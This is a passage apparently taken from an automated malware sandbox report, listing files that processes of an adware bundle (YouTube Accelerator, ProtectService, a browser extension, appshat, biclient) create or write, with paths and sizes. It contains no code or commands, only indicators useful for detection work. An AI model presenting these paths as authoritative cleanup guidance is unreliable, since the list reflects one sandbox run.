C:\Windows\SysWOW64\temp.000 (3624 bytes)
%Program Files% (x86)\YouTube Accelerator\~GLH000b.TMP (11493 bytes)
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\YouTube Accelerator\~GLH0021.TMP (65 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\LocalesU\VAROM.LNG (19 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\LocalesU\VAFIL.LNG (351 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\comtest.gif (1817 bytes)
%Program Files% (x86)\YouTube Accelerator\INSTALL.LOG (11 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\LocalesU\VAENG.LNG (8 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\LocalesU\VAFAR.LNG (15 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\LocalesU\VAPTB.LNG (401 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\progbar.gif (238 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\~GLH0020.TMP (1568 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\ytauninstall.exe (12513 bytes)

The process YouTubeAcceleratorService.exe:2448 makes changes in the file system.
The Application creates and/or writes to the following file(s):

C:\Windows\Temp\SBC3591.tmp (44 bytes)
C:\Windows\Temp\SBC388F.tmp (98 bytes)
C:\Windows\Temp\SBC40B.tmp (547 bytes)
%Program Files% (x86)\YouTube Accelerator\helper.dll (200 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Log\YouTubeAcceleratorService_2448.log (591 bytes)
C:\Windows\Temp\SBC2616.tmp (98 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Log\engine_2448_YouTubeAcceleratorService.log (218861 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\config.xml (3076 bytes)
C:\Windows\Temp\SBC3989.tmp (44 bytes)
C:\Windows\Temp\SBC454E.tmp (547 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\va_conf.dat (706 bytes)
C:\Windows\Temp\SBC3B8D.tmp (51193 bytes)
C:\ProgramData\TEMP:56E2E879 (232 bytes)

The process YouTubeAcceleratorService.exe:3668 makes changes in the file system.
The Application creates and/or writes to the following file(s):

%Program Files% (x86)\YouTube Accelerator\engine.dll (146 bytes)
%Program Files% (x86)\YouTube Accelerator\ipc.dll (286 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\config.xml (60 bytes)
%Program Files% (x86)\YouTube Accelerator\xmldb.dll (192 bytes)

The process ins_postInst.exe:4064 makes changes in the file system.
The Application creates and/or writes to the following file(s):

C:\Users\"%CurrentUserName%"\AppData\Local\Installer\Installiwebar_2041\ins_postInst.exe (7726 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Installer\Installsense_2041\ins_postInst.exe (7726 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Install_29087\ins_shopperpro.exe (20433 bytes)

The process ProtectService.exe:1956 makes changes in the file system.
The Application creates and/or writes to the following file(s):

C:\ProgramData\IHProtectUpDate\update\conf (5 bytes)
%Program Files% (x86)\XTab\CmdShell.exe (49 bytes)

The process 8652fd7b-ad3d-42ae-954c-19d2b83040c5-4.exe:4516 makes changes in the file system.
The Application creates and/or writes to the following file(s):

C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\core\e717629e325f2fb659cf9a4f22716c98.js (6 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\api\2582113706d7a9f3a44790a578bcb9aa.js (964 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\195.js (414 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\defaults\preferences\prefs.js (13 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\220.js (1592 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\skin\icon24.png (6 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\api\193b2ce191ad766458e1607b1c8ebf80.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\api\8ec6e6adaf41ee79ed8a616488c46569.js (6 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\core\8f9457b847ee1f061661b5fd078d5bb2.js (6 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\core\installer.js (10 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\252.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\core\4db42ecc2c41d4b01ad743b12fcced95.js (22 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\api\6a148e01d62d1a69d5fc2051ec8b97b5.js (14 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\core\2df933242b67fb83f6423c483634a5f8.js (20 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\182.js (30 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\core\69e077a36f025b76664dfd54bc5b47c6.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\d4320de5a922df4d7f340d17cf8edcba.js (804 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\core\16aac16e1f0fa87cab0d2c9ce803ba14.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\255.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\core\e8697ee33b63d6131958d30a00836192.js (134 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\22.js (21 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\search_dialog.xul (6 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\98.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\core\4faf3dd10095ed4861221fbe82274ea4.js (12 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome.manifest (634 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\345.js (627 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\core\21c330ac7ad40004e222d8a2061ff96f.js (7 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\install.rdf (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\skin\button5.png (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\core\52f71e5c161ed7828bd8883d4d7826aa.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\userCode\extension.js (358 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\manifest.xml (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\21.js (7 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\options.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\skin\button2.png (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\skin\button3.png (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\13.js (14 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\locale\en-US\translations.dtd (429 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\core\7a2cc1821ef3da12d8cb861a0e11d84a.js (804 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\core\f031f62b1eb270d0195b2b13ac3eb133.js (7 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\104.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\234.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\288.js (557 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\07c8ec17569d596308c641a06e9437b1.js (26 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\skin\button4.png (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\api\0347238b81a83cca53269db06484533b.js (7 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\281.js (461 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\core\81039b2235e7b3e936c722fbb3f223a6.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\253.js (741 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\skin\skin.css (909 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\skin\icon48.png (8 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\180.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\16.js (804 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\core\e8ac57db62a72f0ff44d1a977ab1caea.js (7 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\64.js (6 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\api\6de9f9139b289c1c993bb80fb2768820.js (6 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\102.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\api\9112288f3bf8e967fbaa0d7033bc63ae.js (12 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\72.js (1601 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\core\82ac4c6ce74d92fdb5f3ed18368877f6.js (6 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\skin\panelarrow-up.png (921 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\skin\crossrider_statusbar.png (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\91.js (6772 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\skin\button1.png (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\262.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\core\334ec063fb1752701c997a9c95212839.js (6 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\api\d8249f1d735d3f43bf20104e2c772a71.js (28 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\api\c1bff699e0f401d76f2b733690592d84.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\1.js (22 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\34438cb43e6ded5907b3336dbc536af2.js (618 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\184.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\skin\icon128.png (804 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\api\76205799b3bcb7d0cccbdd33e7132cd7.js (21 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\78.js (7 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\skin\popup.html (353 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\47.js (15 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\core\e9cf4e4da9a4ce0e4fb8b28f0275fab2.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\skin\icon16.png (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\354.js (5118 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\28.js (540 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\api\46c75166025837b72199bc08aafff427.js (13 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\200.js (813 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\207.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\489565a1b23ba38380351403bf3aebe0.js (6 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\183.js (6 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\dialog.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\options.xul (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\9.js (6 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins.json (23 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\core\e0bf7ef77ad0a97174a08b01b9874c8a.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\skin\update.css (144 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\17.js (2473 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\api\cd7529e2e9b0c2345d15ed5c89d6ad73.js (357 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\223.js (829 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\core\63dc2fec9ac583b4a7fdbbe943a9c9e7.js (6 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\ffCoreFilesIndex.txt (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\221.js (419 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\177.js (816 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\api\c1061b17a667f6718826515687ef7fd8.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\background.html (6 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\userCode\background.js (640 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\browser.xul (13 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\4.js (3410 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\3b02fb55cdef6c8f8e92babb201486c1.js (804 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\14.js (808 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\82fe9b626bbd9c5b5847f539b4faf4fe.js (651 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\core\6a7f9349d449bcb0e54060105e9d992a.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\api\a8145cd66b698f5187f0872de28193ea.js (13 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\api\e93b762d63b4db891aad05a7040d78c1.js (22 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\api\7c9679086cc3f2fcc0d4dc3e7dcb2535.js (947 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\242.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\7.js (689 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\263.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\373.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\246.js (15 bytes)

The process 5ca17.exe:2320 makes changes in the file system.
The Application creates and/or writes to the following file(s):

C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nskE753.tmp\StdUtils.dll (30 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nskE753.tmp\System.dll (23 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nskE753.tmp (4 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nskE753.tmp\FacebookIsGod.dll (2513 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nskE753.tmp\Fszjsr.tmp (422022 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\9408.bat (411 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nskE753.tmp\Wueqljjrpxyh.exe (7564613 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\783GTYVS\setup[1].exe_a (145141 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\783GTYVS\setup[1].exe_b (145141 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\783GTYVS\setup[1].exe_c (145141 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\783GTYVS\setup[1].exe_d (145141 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\783GTYVS\setup[1].exe_e (145141 bytes)

The process MsiExec.exe:4116 makes changes in the file system.
The Application creates and/or writes to the following file(s):

C:\Users\"%CurrentUserName%"\AppData\Local\Temp\MSI8FE5.tmp (520 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\MSI5E49.tmp (520 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\MSIA4A0.tmp (520 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\MSIFB70.tmp (520 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\MSIA55C.tmp (520 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\MSI31E.tmp (520 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\MSI9015.tmp (262 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\MSI8FF5.tmp (520 bytes)

The process MsiExec.exe:4244 makes changes in the file system.
The Application creates and/or writes to the following file(s):

C:\Windows\Installer\MSI9146.tmp (520 bytes)
C:\Windows\Installer\MSI93CA.tmp (520 bytes)

The process GLJF557.tmp:1840 makes changes in the file system.
The Application creates and/or writes to the following file(s):

C:\Windows\SysWOW64\AniGIF.ocx (172 bytes)

The process appshat.exe:3356 makes changes in the file system.
The Application creates and/or writes to the following file(s):

C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nspC68B.tmp\5ca17.exe (102443420 bytes)

The process biclient.exe:3640 makes changes in the file system.
The Application creates and/or writes to the following file(s):

C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\046C1ZNT\eula-mystartsearch[1].htm (1887 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\6641.tmp (39020 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\783GTYVS\tokyo_sprite_full[1].png (1772 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Internet Explorer\MSIMGSIZ.DAT (8 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\setup.exe (22888 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\783GTYVS\tokyoThreeWavesBG[1].jpg (1090 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\appshat_generic.exe (21724 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\783GTYVS\eula-sourceapp[1].htm (4319 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Cookies\9JF7DA3Z.txt (94 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Cookies\1F4KG32I.txt (91 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\setup.exe.3 (2696 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\setup.exe.2 (2696 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\setup.exe.1 (2696 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\setup.exe.0 (2696 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\setup.exe.7 (2696 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\setup.exe.6 (2696 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\setup.exe.5 (2696 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\setup.exe.4 (2696 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\F7QBP14P\easyBurner_logo48[1].png (3 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\appshat_generic.exe.7 (2696 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\appshat_generic.exe.6 (2696 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\appshat_generic.exe.5 (2696 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\appshat_generic.exe.4 (2696 bytes)
